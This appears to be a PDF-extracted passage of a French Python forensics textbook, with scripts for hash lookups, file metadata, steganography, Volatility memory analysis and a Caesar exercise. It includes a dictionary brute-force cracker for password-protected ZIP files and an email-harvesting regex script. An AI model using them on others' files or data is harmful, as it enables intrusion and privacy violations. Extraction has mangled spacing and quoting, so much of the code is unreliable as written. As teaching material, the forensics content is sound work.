print "DES(ciphertext,"+key[0:8]+")="+decodedStr

3.Hash
SourceWikipdia:"Onnommefonctiondehachageunefonctionparticulirequi,partirdunedonnefournie
enentre,calculeuneempreinteservantidentifierrapidement,bienquincompltement,ladonneinitiale."
Parexemple,MD5etSHA256implmententunefonctiondehachage.
DesbasesdedonnesdehashconnussontdisponiblessurleNet,surlesmalwares,leschevauxdeTroiepar
exemple.
Nouspouvonslesretrouverdanslesitesuivant(http://www.nsrl.nist.gov)parexemple.

Le"SANSInternetStormCenter"fournituneinterfacepourfairedesrequtestraversleprotocoleDNSpour
identifierunhashconnuounon.
Nous allons donc ici nous en servir afin de comparer un fichier de notre systme que nous aurons trouv en
scannant.Silacomparaisonestconcluante,nousafficheronslersultat.
Le script suivant va donc balayer notre rpertoire ou dossier la recherche de fichiers crypts en MD5 pour
ensuitelecompareraucontenudelabasededonnesde"SANSInternetStormCenter".
chap6_script7.py

#!/usr/bin/env python
import os, hashlib, sys, socket, string
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
try:
fn = root+fp
infile = open(fn, "rb")

- 4-

ENI Editions - All rights reserved - chantal gournier

content = infile.read()
infile.close()
m = hashlib.md5()
m.update(content)
hash = m.hexdigest()
try:
mhr =
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print "impossible de creer
le socket"
try:
mhr.connect(("hash.cymru.c
om", 43))
except:
print "connexion
impossible"
mhr.send(str(hash + "\r\n"))
response =
print "demande pour " + fp
while True:
d = mhr.recv(4096)
response += d
if d == :
break
if "NO_DATA" not in response:
print
"<INFECTED>:"+str(fn)
except:
print "exception"
pass

Nousinterrogeonsdoncicilabasededonnesdehash.cymru.comsurleport 43etnousrcupronslarponse.
NousallonsvoirunpetitscriptindpendantquiutiliseleMD5.Nousallonsdoncchoisirunechanedecaractres,
iciEditionsENIafindecreruneempreinte MD5decelleci.
chap6_script8.py

from Crypto.Hash import MD5


m = MD5.new()
m.update(Editions ENI)
print m.digest()
m.hexdigest()

ENI Editions - All rights reserved - chantal gournier

- 5-

Extractiondesmtadonnesdanslesfichiers
Lesmtadonnesdanslesfichiersvontnouspermettredeconnatreladatedecrationdufichier,quilacret
avecqueloutil.
NousallonscommencerparunscriptassezamusantquircuprelesmtadonnesdunfichierMP3

1.MtadonnesMP3
LabibliothqueeyeD3vanouspermettredexaminerlesmtadonnesdesfichiersMP3.
Nous pouvons rcuprer grce getArtist(),
propresaufichierMP3obtenuespareyeD3.tag().

getAlbum(), getTitle() par exemple les donnes

chap6_script9.py

#!/usr/bin/env python
import eyeD3
tag = eyeD3.Tag()
chemin=raw_input("donnez le chemin du fichier mp3\n")
tag.link(chemin)
print tag.getArtist()
print tag.getAlbum()
print tag.getTitle()

Nouspouvonsaussilirelefichieretaccdersontag.

if eyeD3.isMp3File(f):
audioFile = eyeD3.Mp3AudioFile(f)
tag = audioFile.getTag()

Nouspouvonsaussircuprerlesframessiellesexistent.

import eyeD3
tag = eyeD3.Tag()
tag.link("/home/fasm/personnel/chansons/thiefaine/01_113_Cigarette mp3")
for frame in tag.frames:
print frame

Ilnousestpossibleaussidajouterdesinformationsauxtags

tag = eyeD3.Tag()
tag.link(/home/fasm/personnel/chansons/thiefaine/01_113_Cigarette
mp3)
tag.header.setVersion(eyeD3.ID3_V2_3)
tag.setArtist(HFT)
ENI Editions - All rights reserved - chantal gournier

- 1-

tag.update()

Nousvenonsdevoirunebibliothqueamusantequipourranousservirmaislebuttaitsurtoutdecomprendre
quedesdonnesspcifiqueschaquefichier sontcontenuesdanslefichierluimme,cequipeutnousaiderlors
denosrecherches.

2.Mtadonnesdesimages
Nous pouvons aussi rcuprer les mtadonnes des images en utilisant par exemple PIL, que nous avons vu
danslechapitreTraitementdimages,enparticulierExifTags.
Essayonscepetitprogrammeafindetestercemodule :
chap6_script10.py

#!/usr/bin/env python
from PIL import Image
from PIL.ExifTags import TAGS
def get_exif(fn):
ret = {}
i = Image.open(fn)
info = i._tag.tags
for tag, value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value
return ret
choix=raw_input("entrez le nom de limage\n")
get_exif(choix)

3.MtadonnesPDF
VoiciunscriptquiimportelabibliothquepyPdfetquivarechercherdanslerpertoireproposenargumentdu
scriptlesfichiersPDFdeplusde5pagesetayantcommeauteurENI.
chap6_script11.py

#!/usr/bin/env python
import warnings,sys,os,string
from pyPdf import PdfFileWriter, PdfFileReader
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
if ".pdf" in fp:
fn = root+"/"+fp
try:
pdfFile = PdfFileReader(file(fn,"rb"))
title =
pdfFile.getDocumentInfo().title.upper()
author =
pdfFile.getDocumentInfo().author.upper()

- 2-

ENI Editions - All rights reserved - chantal gournier

pages = pdfFile.getNumPages()
if (pages > 5) and ("ENI" in author):
resultStr = "Matched:"+str(fp)
+"-"+str(pages)

4.MtadonnesOLE2
IlarrivetrssouventbiensrquelonveuilleaussirechercherdesdocumentsMicrosoftOffice.
MicrosoftstockesesinformationsWord(doc),Excel(xls)etPowerPoint(ppt)enutilisantunestructureappele
OLE2quipeutcontenirdesinformationsimportantes.
ImaginonsquenousvoulonstrouverundocumentMicrosoftquicontientdesmacrosVBA.
Nous pourrons utiliser la librairie OleFileIO_PL pour lire le flot OLE du fichier, puis dtecter si celuici contient
macro/vba .

import OleFileIO_PL,os,sys,string
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
fn = root+fp
try:
ole = OleFileIO_PL.OleFileIO(fn)
if ole.exists(macros/vba):
print fn+":"+" contient des macros vba."
except:
pass

5.Casconcret
Nousallonsmaintenantimagineruncasconcret.
Nousavonsrcuprletlphoneportabledunsuspectetnoussouhaitonsconnatreladateetlheure de la
prisedechaquephotodecetlphone.
Nouspourronsainsivrifiersicettepersonnetaitunendroitprcisuneheureprcise.
chap6_script11.py

#!/usr/bin/env python
from PIL.ExifTags import TAGS
import os,sys,Image
ret={}
for root, dir, files in os.walk(str(sys.argv[1])):
for fp in files:
if ".JPG" in fp.upper():
fn = root+fp
print fn
i = Image.open(fn)
info = i._getexif()
for tag, value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value
print ret[DateTimeDigitized]

ENI Editions - All rights reserved - chantal gournier

- 3-

- 4-

ENI Editions - All rights reserved - chantal gournier

FichiersZIP
1.LiredansunfichierZIP
Nous voulons examiner directement un ou plusieurs fichiers contenus dans une archive au format ZIP, sans la
dcompactersurledisque.
Unebibliothqueexiste,zipfile,quivanouspermettredetravaillerdirectementsurlesdonnescontenuesdans
desfichiersZIP.

#!/usr/bin/env python
import zipfile
z=zipfile.ZipFile("fichier.zip","r")
for nom in z.namelist() :
print le fichier, nom,
nb_octets=z.read(nom)
print contient , len(nb_octets),octets.

Nouspouvonsaussiconsulterlecontenudesfichiers.

#!/usr/bin/env python
import zipfile
z = zipfile.ZipFile(test.zip, r)
names = z.namelist()
for name in names:
print Attente de %s % name
print z.read(name)
for name in names:
print en Attente de %s % name
f = z.open(name)
contents = f.read()

2.AttaqueBruteforcedemotsdepasse
CertainsfichiersZIPsontprotgsparunmotdepasse.Nouspouvonsessayerdecraquercesmotsdepasse
en partant dun dictionnaire, appel ici passFile et fourni en argument 2 lors du lancement du script,
largument1tantlefichierZIP.

#!/usr/bin/env python
import zipfile
zFile = open(sys.argv[1],r)
passFile = open(sys.argv[2],r)
passwords = passFile.readlines()
for password in passwords:
try:
for info in zfile.infolist():
fname = info.filename
print "trying..."+str(password)
data = zfile.read(fname,str(password))
print password trouve: "+str(password))
break
except Exception, e:
print e
if (Bad password) in e: pass

ENI Editions - All rights reserved - chantal gournier

- 1-

- 2-

ENI Editions - All rights reserved - chantal gournier

LiredansunfichierOpenOfficeouWord
1.Parcourirunearborescence
Nousdevonsexaminerunrpertoireoutouteunearborescencederpertoiressitusdansunrpertoiredonn
pouritrersurlesfichiersdontlesnomscorrespondent certainsmotifs.
Legnrateuros.walk,djutilisdansdautrespartiesdecelivre,suffitcettetche.

#!/usr/bin/env python
import os, fnmatch
def tous_les_fichiers( racine, motifs=*, un_seul_niveau=False,
repertoires = False):
motifs=motifs.split(;)
for chemin, sous_reps, fichiers in os.walk(racine):
if repertoires:
fichiers.extend(sous_reps)
fichiers.sort()
for nom in fichiers:
for motif in motifs:
if fnmatch.fnmatch(nom,motif):
yeld os.path.join(chemin,nom)
break
if un_seul_niveau:
break
for chemin in tous_les_fichiers(/tmp,*.py ;*.htm ;*.html) :
print chemin

fnmatchpermetderechercherlesnomsdefichierscorrespondantdesmotifs.
Pour prciser plusieurs motifs, nous devons les sparer par des pointsvirgules, un motif ne devra donc pas
possderdepointvirgule.
Danslexemplecidessus,nousutilisonsladfinition tous_les_fichierspourrechercherlechemindetous
lesfichiersPythonetHTML.

2.RechercherdansundocumentOpenOffice
NoussouhaitonsextrairedesdonnesdundocumentOpenOfficeouLibreOffice.
CetypededocumentestundocumentenZIPrassemblantdesfichiersXMLrespectantunstandardbiendfini.
NousavonsdjtudileXMLetleZIP.
Nous allons donc rcuprer le fichier content.xml, que nous allons allger des balises XML laide dune
expressionrgulire,puisnousallonsdcouperlersultatselonlesespacesetlereconstruireavecununique
espacepourconomiserlaplaceoccupe.

#!/urs/bin/env python
import zipfile, re
re_suppr_xml=re.compile("<[>]* ?",re.DOTALL|re.MULTILINE)
def convertir_00(nomFichier,texte_seul=True) :
fz=zipfile.ZipFile(nomfichier,"r")
donnees=fz.read("content.xml")
fz.close()
if texte_seul :
donnees= " ".join(re_suppr_xml.sub(" "
,donnees).split())

ENI Editions - All rights reserved - chantal gournier

- 1-

return donnees
if __name__=="__main__" :
import sys
if len(sys.argv)>1 :
for nomdoc in sys.argv[1:] :
print Texte de ,nomdoc, :
print convertir_00(nomdoc)
print XML de ,nomdoc, :
print convertir_00(nomdoc,texte_seul=False)
else :
print Donnez des noms de documents OpenOffice pour
les lire au format texte et XML

RechercherdansundocumentWord
LaspectpratiqueaveclaplupartdesapplicationsWindowsestquenouspouvons lesscripteravecCOM,grce
lextensionPyWin32.
Nous allons donc essayer dextraire le texte de fichiers .doc dune arborescence de rpertoires dans des
fichiers.txtcorrespondants.

#!/usr/bin/env python
import fnmatch,os,sys,win32com.client
wordapp=win32com.client.gencache.EnsureDispatch( "Word.Application
")
try :
for chemin, reps, fichiers in os.walk(sys.argv[1]) :
for nomfic in fichiers :
if not fnmatch.fnmatch(nomfic,
*.doc):continue
doc=os.path.abspath(os.path.join(chemin,nomfic))
print "Traitement de %s" %doc
wordapp.Documents.Open(doc)
doc_en_txt=doc[:-3] + txt
wordapp.ActiveDocument.SaveAs(doc_en_txt,FileFormat
=win32.client.constants.wdFormatText)
wordapp.ActiveDocument.Close()
finally :
wordapp.Quit()

- 2-

ENI Editions - All rights reserved - chantal gournier

Email
1.Retrouverdesemailsdansdesfichiers
Si nous souhaitons rcuprer partir dune liste de fichiers toutes les adresses email contenues dans ces
fichiers,lescriptsuivantpourranoustretrsutile.
chap6_script12.py

def grab_email(files = []):


found = []
if files != None:
mailsrch = re.compile(r[\w\-][\w\-\.]+@[\w\-][\w\-\.]
+[a-zA-Z]{1,4})
for file in files:
for line in open(file,r):
found.extend(mailsrch.findall(line))
u = {}
for item in found:
u[item] = 1
return u.keys()
file=[texte1.txt,texte2.txt,texte3.txt]
retour=grab_email(file)
print retour

Dans le mme rpertoire, nous allons placer trois fichiers texte, texte1.txt, texte2.txt et texte3.txt voici leur
contenu :

::::::::::::::
texte1.txt
::::::::::::::
un petit texte tout sympa
qui contient un mail fasm@acissi.net et pis cest tout
mais regardons le prochain
::::::::::::::
texte2.txt
::::::::::::::
la il ny a pas de mail mais que des @ et des .
donc rien en retour
::::::::::::::
texte3.txt
::::::::::::::
la on va mettre deux adresses mail fasm@free.fr et plus loin
on mettra un autre mail
mais pas sur cette ligne
mais ici (codej@orange.fr) entre parentheses

Nousobtenonsenrsultatdecescript :

2.Rechercherdanslabotemail
ENI Editions - All rights reserved - chantal gournier

- 1-

Nous allons imaginer maintenant que nous avons accs une bote mail avec donc lidentifiant et le mot de
passe,maisquecellecicontientdescentainesdemails.
Nousdsironscrireunscriptquivatriercesmails,suivantlesujet,parexemple.
Pour cela, nous avons prpar au pralable un fichier texte appel mots_recherche.txt, dans lequel nous
indiquonstouslesmotsclsquenousrecherchons.

#!/usr/bin/env python
import poplib
from email import parser
FichierMots = open("mots_recherche.txt")
MotsCles= FichierMots.readlines()
pop_conn = poplib.POP3_SSL(serveur_pop)
pop_conn.user(login)
pop_conn.pass_(password)
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
messages = ["\n".join(mssg[1]) for mssg in messages]
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
pop_conn.quit()
for message in messages:
for MotCle in MotsCles:
if MotCle.rstrip() in message[Subject]:
print message[Subject]

- 2-

ENI Editions - All rights reserved - chantal gournier

Stganographie
La stganographie est une branche particulire de la cryptographie qui consiste non pas rendre le message
inintelligible,maislecamouflerdansunconteneurdemaniremasquersaprsence.

1.Rechercherdesinformationsdansuneimage
Pour appliquer Python la stganographie, nous allons prendre une image, oxygen.png, disponible en
tlchargementsurleNet,quicontientdesdonnes caches.
Nousremarquonsquecetteimagecomporteunebarreavecundgraddegris,lemessagecachdoittreici.

NousallonsutiliserdenouveaulabibliothquePILdjvueetenparticulierImage.

#!/usr/bin/env python
import Image
im = Image.open("oxygen.png")
print "Image info:",im.format, im.size, im.mode
#limitation de la zone grise
y_begin = 0
while True:
p = im.getpixel((0, y_begin))
if p[0] == p[1] == p[2]:
break
y_begin += 1
x_end = 0
while True:
p = im.getpixel((x_end, y_begin))
if not p[0] == p[1] == p[2]:
break
x_end += 1
print "Y first coordinate:", y_begin,"nX last coordinate:",x_end
message=[]
for i in range(0,x_end,7):
p = im.getpixel((i, y_begin))
message.append(chr(p[0]))
print .join(message),
#First run gives: [105, 110, 116, 101, 103, 114, 105, 116, 121]
message=[105, 110, 116, 101, 103, 114, 105, 116, 121]
print (,.join([chr(x) for x in message]),)

Toutesleslibrairies,fonctionsetmthodesontdjtvuesprcdemment,nousnyreviendronsdoncpasici.

2.Cacheruneimagedansuneimage
Chaque pixel est dfini par un triplet de trois nombres entiers compris entre 0 et 255, le premier donnant la
composanterouge,ledeuximelaverteetletroisimelableue.
Nousdonnonsladeuximelignedutableaucidessouslacomposanterougedes16premierspixels.Dansune
premiretape,laligne3,lesvaleurssontrduitesauplusgrandnombrepairinfrieurougallavaleur.

ENI Editions - All rights reserved - chantal gournier

- 1-

Ensuite,nousallonsajoutercesnombrespairsdes0etdes1etcesontces0etces1,regroupspar8,qui
vonttransmettrelesinformationscaches.
Dans les huit premiers pixels, nous rentrons linformation 01001011 qui est la reprsentation binaire de 75
cestlenombredecaractresdelachane.Nousallonsdonccoderlimagesur8+(875)=608pixels.
Dansleshuitpixelssuivants,nousrentronslinformation 01001001quiestlareprsentationbinairede 73et
quiestlecodeasciideI(imajuscule).Nousallonsdoncrcuprerlepremiercaractredelachane.

pixel

10

11

12

13

14

15

16

Sonic.gif

36

37

37

40

41

44

45

50

50

49

48

44

43

42

40

38

Rduction

36

36

36

40

40

44

44

50

50

48

48

44

42

42

40

38

Binaire

sonic_crypt

36

37

36

40

41

44

45

51

50

49

48

44

43

42

40

39

chap6_script14.py

#!/usr/bin/env python
#-*- coding:Latin-1 -*import Image
im = Image.open("../images/sonic.gif")
#on recupere les dimensions de limage
w,h=im.size
#On eclate limage en trois (rouge vert bleu)
r,g,b=im.split()
#on transforme limage en liste
r=list(r.getdata())
#le message coder
c="Le python cest le bien"
#on note la longueur de la chaine et on la transforme en binaire
u=len(c)
v=bin(len(c))[2:].rjust(8,"0")
#on transforme la chaine en une liste de 0 et de 1
ascii=[bin(ord(x))[2:].rjust(8,"0") for x in c]
#transformation de la liste en chaine
a=.join(ascii)
#on code la longueur de la liste dans les 8 premiers pixels rouges
for j in range(8):
r[j]=2*int(r[j]//2)+int(v[j])
#on code la chaine dans les pixels suivants
for i in range(8*u):
r[i+8]=2*int(r[i+8]//2)+int(a[i])
#on recre limage rouge
nr = Image.new("L",(16*p,16*q))
nr = Image.new("L",(w,h))
nr.putdata(r)
#fusion des trois nouvelles images
imgnew = Image.merge(RGB,(nr,g,b))
imgnew.save("sony_crypt.png")

3.Lecturedelimage
Nousallonsmaintenantlireletextedelimageprcdente:

- 2-

ENI Editions - All rights reserved - chantal gournier

#-*- coding:Latin-1 -*import Image


im = Image.open("sony_crypt.png")
r,g,b=im.split()
r=list(r.getdata())
#lecture de la longueur de la chaine
p=[str(x%2) for x in r[0:8]]
q="".join(p)
q=int(q,2)
#lecture du message
n=[str(x%2) for x in r[8:8*(q+1)]]
b="".join(n)
message=""
for k in range(0,q):
l=b[8*k:8*k+8]
message=message+chr(int(l,2))
print (message)

Aprsouverturedelimage,nousclatonscellecisuivantlescouleursr,betg ensuitenousrecherchonsdans
limagedescaractresquenousregrouponslafinduscriptpourafficherlemessage.

ENI Editions - All rights reserved - chantal gournier

- 3-

Volatility
Lanalyse du contenu de la mmoire volatile (RAM) permet de trouver diffrentes informations, sur ltat du
systmeparexemple.
Lanalyse de la mmoire volatile va permettre de dcouvrir des connexions rseau ouvertes, les mots de passe
utilissrcemment,lesfichierseffacs,lecontenuduregistreWindows...
Volatility est un des plus grands projets Open Source pour le Forensic. Cest un framework Python avec de
nombreuseslibrairiespermettantdextrairedesdonnesdesmmoiresvolatiles.
LastructuredeVolatilitypermetdedvelopperdesmodulespourextrairedesdonnesspcifiquesdelaRAM.
Pardfautlesmodulessont :

Affichagedelalistedesconnexionsrseauouvertesetscandesobjetsdeconnexion.

AffichagedelalistedesDLLchargesparchaqueprocessus.

Affichagedesfichiersouvertspourchaqueprocessus.

Ralisationdediffrentsdump.

Identificationdelapropritdesimagesincluantlesdonnes,lhoraire,ladateetlelieu.

Affichagedunelistedesclsderegistrepourchaqueprocessustrouvdanslatabledesprocessus.

Despluginsonttajoutspardiversespersonnes,dontceuxci :

CryptoScan :trouvelespassphrasesTrueCrypt.

Suspicious :trouvelesprocessussuspects.

Keyboardbuffer :extraitlebufferdeclavierutilisparleBIOS.

Getsids :trouvelesinformationsdelutilisateurquialanclesprocessus(SID).

1.Informationssurlimage
Volatility est assez simple dinstallation, des exemples dutilisation sont trs bien documents sur le site. Voici
pourvousdonnerleaulabouche,unexempleissudusitedeVolatility.
Recherchedanslefichierdumpdesinformationssurlesystme:

ENI Editions - All rights reserved - chantal gournier

- 1-

2.ProcessusetDLL
Recherchedanslefichierdumpdesprocessusetdlllancsetutilissparlesystme :

3.Exempledeprogramme
titredexempledutilisation,voiciunprogrammedeMichaelHale,disponiblesurleNet,quiutiliseVolatility.Ce
scriptestunscannerrseauquisupporte lIPv4etlIPv6.

#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#

Volatility
Authors:
Michael Hale Ligh <michael.hale@gmail.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public
License along with this program; if not, write to the Free
Software Foundation, Inc., 59 Temple Place, Suite 330, Boston,
MA 02111-1307 USA

import
import
import
import
import
import
import

volatility.utils as utils
volatility.commands as commands
volatility.scan as scan
volatility.obj as obj
volatility.cache as cache
socket
itertools

tcp_states = [
"", # This must be empty, so the first enum starts at 1
"CLOSED",
"LISTENING",
"SYN_SENT",
"SYN_RCVD",

- 2-

ENI Editions - All rights reserved - chantal gournier

"ESTABLISHED",
"FIN_WAIT1",
"FIN_WAIT2",
"CLOSE_WAIT",
"CLOSING",
"LAST_ACK",
"TIME_WAIT",
"DELETE_TCB",
]
# Pythons socket.AF_INET6 is 0x1e but MSFTs is 0x17..and we need
# to use MSFTs
AF_INET = 2
AF_INET6 = 0x17
# Compensate for Windows python not supporting socket.inet_ntop
# and some Linux systems (i.e. OpenSuSE 11.2 w/ Python 2.6) not
# supporting IPv6.
def inet_ntop(address_family, packed_ip):
def inet_ntop4(packed_ip):
if not isinstance(packed_ip, str):
raise TypeError("must be string, not
{0}".format(type(packed_ip)))
if len(packed_ip) != 4:
raise ValueError("invalid length of packed IP address
string")
return "{0}.{1}.{2}.{3}".format(*[ord(x) for x in
packed_ip])
def inet_ntop6(packed_ip):
if not isinstance(packed_ip, str):
raise TypeError("must be string, not
{0}".format(type(packed_ip)))
if len(packed_ip) != 16:
raise ValueError("invalid length of packed IP address
string")
words = []
for i in range(0, 16, 2):
words.append((ord(packed_ip[i]) << 8) |
ord(packed_ip[i + 1]))
# Replace a run of 0x00s with None
numlen = [(k, len(list(g))) for k, g in
itertools.groupby(words)]
max_zero_run = sorted(sorted(numlen, key = lambda x: x[1],
reverse = True), key = lambda x: x[0])[0]
words = []
for k, l in numlen:
if (k == 0) and (l == max_zero_run[1]) and not (None
in words):
words.append(None)
else:
for i in range(l):
words.append(k)
# Handle encapsulated IPv4 addresses
encapsulated = ""
if (words[0] is None) and (len(words) == 3 or (len(words)
== 4 and words[1] == 0xffff)):
words = words[:-2]
encapsulated = inet_ntop4(packed_ip[-4:])
# If we start or end with None, then add an additional :
if words[0] is None:
words = [None] + words
if words[-1] is None:
words += [None]

ENI Editions - All rights reserved - chantal gournier

- 3-

# Join up everything weve got using :s


return ":".join(["{0:x}".format(w) if w is not None else
"" for w in words]) + encapsulated
if address_family == socket.AF_INET:
return inet_ntop4(packed_ip)
elif address_family == socket.AF_INET6:
return inet_ntop6(packed_ip)
raise socket.error("[Errno 97] Address family not supported by
protocol")
# String representations of INADDR_ANY and INADDR6_ANY
inaddr_any = inet_ntop(socket.AF_INET, \0 * 4)
inaddr6_any = inet_ntop(socket.AF_INET6, \0 * 16)
class PoolScanUdpEndpoint(scan.PoolScanner):
"""PoolScanner for Udp Endpoints"""
def object_offset(self, found, address_space):
return found +
(address_space.profile.get_obj_size("_POOL_HEADER") address_space.profile.get_obj_offset
("_POO L_HEADER", "PoolTag"))
checks = [ (PoolTagCheck, dict(tag = "UdpA")),
# Seen as 0xa8 on Vista SP0, 0xb0 on Vista SP2, and
# 0xb8 on 7
# Seen as 0x150 on Win7 SP0 x64
(CheckPoolSize, dict(condition = lambda x: x >=
0xa8)),
(CheckPoolType, dict(non_paged = True, paged =
True, free = True)),
(CheckPoolIndex, dict(value = 0)),
]
class PoolScanTcpListener(scan.PoolScanner):
"""PoolScanner for Tcp Listeners"""
def object_offset(self, found, address_space):
return found +
(address_space.profile.get_obj_size("_POOL_HEADER") address_space.profile.get_obj_offset
("_POO L_HEADER", "PoolTag"))
checks = [ (PoolTagCheck, dict(tag = "TcpL")),
# Seen as 0x120 on Win7 SP0 x64
(CheckPoolSize, dict(condition = lambda x: x >=
0xa8)),
(CheckPoolType, dict(non_paged = True, paged =
True, free = True)),
(CheckPoolIndex, dict(value = 0)),
]
#class PoolScanRawEndpoint(scan.PoolScanner):
#
"""PoolScanner for Raw Endpoints"""
#
checks = [ (PoolTagCheck, dict(tag = "RawE")),
#
(CheckPoolSize, dict(condition = lambda x: x ==
# 0x90)),
#
(CheckPoolType, dict(non_paged = True, paged =
# True, free = True)),
#
(CheckPoolIndex, dict(value = 0)),
#
]
class PoolScanTcpEndpoint(scan.PoolScanner):
"""PoolScanner for TCP Endpoints"""
def object_offset(self, found, address_space):
return found +
(address_space.profile.get_obj_size("_POOL_HEADER") -

- 4-

ENI Editions - All rights reserved - chantal gournier

address_space.profile.get_obj_offset
("_POO L_HEADER", "PoolTag"))
checks = [ (PoolTagCheck, dict(tag = "TcpE")),
# Seen as 0x1f0 on Vista SP0, 0x1f8 on Vista SP2
# and 0x210 on 7
# Seen as 0x320 on Win7 SP0 x64
(CheckPoolSize, dict(condition = lambda x: x >=
0x1f0)),
(CheckPoolType, dict(non_paged = True, paged =
True, free = True)),
(CheckPoolIndex, dict(value = 0)),
]
class Netscan(commands.Command):
"""Scan a Vista, 2008 or Windows 7 image for connections and
sockets"""
def enumerate_listeners(self, theObject):
"""
Enumerate the listening IPv4 and IPv6 information.
Unlike XP, where you needed to create two sockets (one for
IPv4 and
one for IPv4), starting with Vista, Windows supports
dualstack sockets
(http://msdn.microsoft.com/en-us/library/bb513665.aspx)
which allows one
socket to be created that can use both protocols. This is
why our plugin
prints an IPv4 address for all IPv6 sockets, however its
also possible
to create an IPv6 only socket by calling setsockopt with
IPV6_V6ONLY.
"""
# These pointers are dereferenced in kernel space since we
# set native_vm when the objects were created.
LocalAddr = theObject.LocalAddr.dereference()
InetAF = theObject.InetAF.dereference()
Owner = theObject.Owner.dereference()
# We only handle IPv4 and IPv6 sockets at the moment
if InetAF.AddressFamily != AF_INET and
InetAF.AddressFamily != AF_INET6:
raise StopIteration
if LocalAddr != None:
inaddr = LocalAddr.pData.dereference().dereference().v()
if InetAF.AddressFamily == AF_INET:
laddr = inet_ntop(socket.AF_INET,
theObject.obj_native_vm.zread(inaddr, 4))
yield "v4", laddr, inaddr_any, Owner
else:
laddr = inet_ntop(socket.AF_INET6,
theObject.obj_native_vm.zread(inaddr, 16))
yield "v6", laddr, inaddr6_any, Owner
else:
yield "v4", inaddr_any, inaddr_any, Owner
if InetAF.AddressFamily == AF_INET6:
yield "v6", inaddr6_any, inaddr6_any, Owner
@cache.CacheDecorator("tests/netscan")
def calculate(self):
# Virtual kernel space for dereferencing pointers
vspace = utils.load_as(self._config)
# Physical space for scanning
pspace = utils.load_as(self._config, astype = physical)

ENI Editions - All rights reserved - chantal gournier

- 5-

for offset in PoolScanTcpListener().scan(pspace):


tcpentry = obj.Object(_TCP_LISTENER, offset =
offset, vm = pspace, native_vm = vspace)
lport = socket.ntohs(tcpentry.Port)
# For TcpL, the state is always listening and the
# remote port is zero
state = "LISTENING"
rport = 0
for ver, laddr, raddr, owner in
self.enumerate_listeners(tcpentry):
yield tcpentry.obj_offset, "TCP" + ver, laddr,
lport, raddr, rport, state, owner, tcpentry.CreateTime
for offset in PoolScanTcpEndpoint().scan(pspace):
tcpentry = obj.Object(_TCP_ENDPOINT, offset =
offset, vm = pspace, native_vm = vspace)
# These pointers are dereferenced in kernel space since
# we set native_vm when the objects were created.
AddrInfo = tcpentry.AddrInfo.dereference()
InetAF = tcpentry.InetAF.dereference()
Owner = tcpentry.Owner.dereference()
lport = socket.ntohs(tcpentry.LocalPort)
rport = socket.ntohs(tcpentry.RemotePort)
try:
state = tcp_states[tcpentry.State + 1]
except IndexError:
state = hex(tcpentry.State)
l_inaddr =
AddrInfo.Local.pData.dereference().dereference().v()
r_inaddr = AddrInfo.Remote.dereference().v()
if InetAF.AddressFamily == AF_INET:
proto = "TCPv4"
laddr = inet_ntop(socket.AF_INET,
vspace.zread(l_inaddr, 4))
raddr = inet_ntop(socket.AF_INET,
vspace.zread(r_inaddr, 4))
elif InetAF.AddressFamily == AF_INET6:
proto = "TCPv6"
laddr = inet_ntop(socket.AF_INET6,
vspace.zread(l_inaddr, 16))
raddr = inet_ntop(socket.AF_INET6,
vspace.zread(r_inaddr, 16))
else:
continue
yield tcpentry.obj_offset, proto, laddr, lport, raddr,
rport, state, Owner, tcpentry.CreateTime
for offset in PoolScanUdpEndpoint().scan(pspace):
udpentry = obj.Object(_UDP_ENDPOINT, offset =
offset, vm = pspace, native_vm = vspace)
lport = socket.ntohs(udpentry.Port)
# For
# end
state
raddr

UdpA, the state is always blank and the remote


is asterisks
= ""
= rport = "*"

for ver, laddr, _, owner in


self.enumerate_listeners(udpentry):

- 6-

ENI Editions - All rights reserved - chantal gournier

yield udpentry.obj_offset, "UDP" + ver, laddr,


lport, raddr, rport, state, owner, udpentry.CreateTime
def render_text(self, outfd, data):
outfd.write("{0:<10} {1:<8} {2:<30} {3:<20} {4:<16} {5:<8}
{6:<14} {7}\n".format(
"Offset(P)", "Proto", "Local Address", "Foreign
Address", "State", "Pid", "Owner", "Created"))
for offset, proto, laddr, lport, raddr, rport, state, p,
ctime in data:
lendpoint = "{0}:{1}".format(laddr, lport)
rendpoint = "{0}:{1}".format(raddr, rport)
process = p.ImageFileName if p.UniqueProcessId <
0xFFFF else ""
outfd.write("{0:<#10x} {1:<8} {2:<30} {3:<20} {4:<16}
{5:<8} {6:<14} {7}\n".format(
offset, proto, lendpoint, rendpoint, state,
p.UniqueProcessId, process, ctime if ctime.v() else ""))

Dautresscriptsexistentetsontdisponiblessur:http:\\code.google.com\p\volatility

ENI Editions - All rights reserved - chantal gournier

- 7-

Applications
1.Dcryptage
a.nonc
Nousavonscettephrase :
nkxtguwtncugewtkvgkphqtocvkswggvnggvjkecnjcemkpi:vqwvkphqtocvkekgpugpukdknkugcweqpegrv
fg nc ugewtkvg kphqtocvkswg ocku pqxkeg qw fgdwvcpv fcpu ng fqockpg fg nc ugewtkvg fgu uauvgogu
fkphqtocvkqpu.Sqpcfcigguvcrrtgpftgngucvvcswgurqwtokgwzugfghgpftg.
Crezunscriptquiladcrypte.

b.Correction

import string
cyphertext = "nkxtg uwt nc ugewtkvg kphqtocvkswg gv ng gvjkecn
jcemkpi : vqwv kphqtocvkekgp ugpukdknkug cw eqpegrv fg nc ugewtkvg
kphqtocvkswg ocku pqxkeg qw fgdwvcpv fcpu ng fqockpg fg nc
ugewtkvg fgu uauvgogu fkphqtocvkqpu. Sqp cfcig guv crrtgpftg ngu
cvvcswgu rqwt okgwz ug fghgpftg."
fromlist = "abcdefghijklmnopqrstuvwxyz"
tolist = "cdefghijklmnopqrstuvwxyzab"
transtable = string.maketrans(fromlist, tolist)
print string.translate(cyphertext, transtable)

2.OCR
a.nonc
